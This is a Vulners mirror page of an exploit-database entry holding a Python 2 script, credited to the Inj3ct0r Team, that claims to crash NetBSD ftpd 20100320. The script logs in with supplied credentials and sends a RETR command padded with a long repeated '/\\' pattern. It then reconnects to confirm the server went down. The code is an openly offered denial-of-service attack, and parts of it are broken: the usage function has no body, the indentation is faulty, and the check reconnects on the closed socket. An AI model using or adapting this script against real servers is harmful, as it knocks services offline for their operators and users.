Lucene search
K

NetBSD-ftpd 20100320 Remote DDoS

🗓️ 20 Mar 2012 00:00:00Reported by Angel InjectionType 
zdt
 zdt
🔗 0day.today👁 38 Views

NetBSD-ftpd 20100320 Remote DDo

Code
#!/usr/bin/python
#
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
# Title NetBSD-ftpd 20100320 Remote DDoS
from socket import *
import os
import sys
from time import sleep
if os.name == 'nt':
     os.system("cls")
     os.system("color 4f")
else:
     os.system("clear")
def usage():
if len(sys.argv) !=5:
     usage()
     print "\t\t Usage: %s <Host> <Port> <User> <Pass>" % sys.argv[0]
	 print "\t\t EX: %s 192.168.1.1 21 Inj3ct0r Inj3ct0r" % sys.argv[0]
     sys.exit(0)
host = sys.argv[1]
porta = int(sys.argv[2])
user = sys.argv[3]
pasw = sys.argv[4]
exploit = "/\\" * (6000/3)
usage()
print "\t\t[+]Connecting to Ftp Server "+host+"...\n"
sleep(1)
s = socket(AF_INET,SOCK_STREAM)
try:
     s.connect((host,porta))
     sleep(1)
     banner = s.recv(2000)
     if banner.find("NetBSD-ftpd") == -1:
          sleep(1)
          sys.exit(0x00)
     sleep(1)
     s.send("USER "+user+"\r\n")
     s.recv(200)
     s.send("PASS "+pasw+"\r\n")
     check = s.recv(2000)
     if check.find("230") == -1:
          print "\t\t[+] Login Errors Check Your Username or Password\n"
          sleep(1)
          sys.exit(0)
     print "\t\t[+]Send...\n"
     sleep(1)
     s.send("RETR "+exploit+"\r\n")
     s.close()
     print "\t\t[+]Exploit Success\n"
     sleep(1)
     print "\t\t[+]Checking\n"
     sleep(1)
     try:
          so = socket(AF_INET,SOCK_STREAM)
          s.connect((host,porta))
          print "\t\t[+]Exploit Not Work (\n"
      sleep(1)
     except:
          print "\t\t[+]Congratulations, worked with the Exploit Success:)\n"
      sleep(1)
except:
     print "\t\t[+]connecting Errors\n"
     sleep(1)



#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2012 00:00Current
7High risk
Vulners AI Score7
38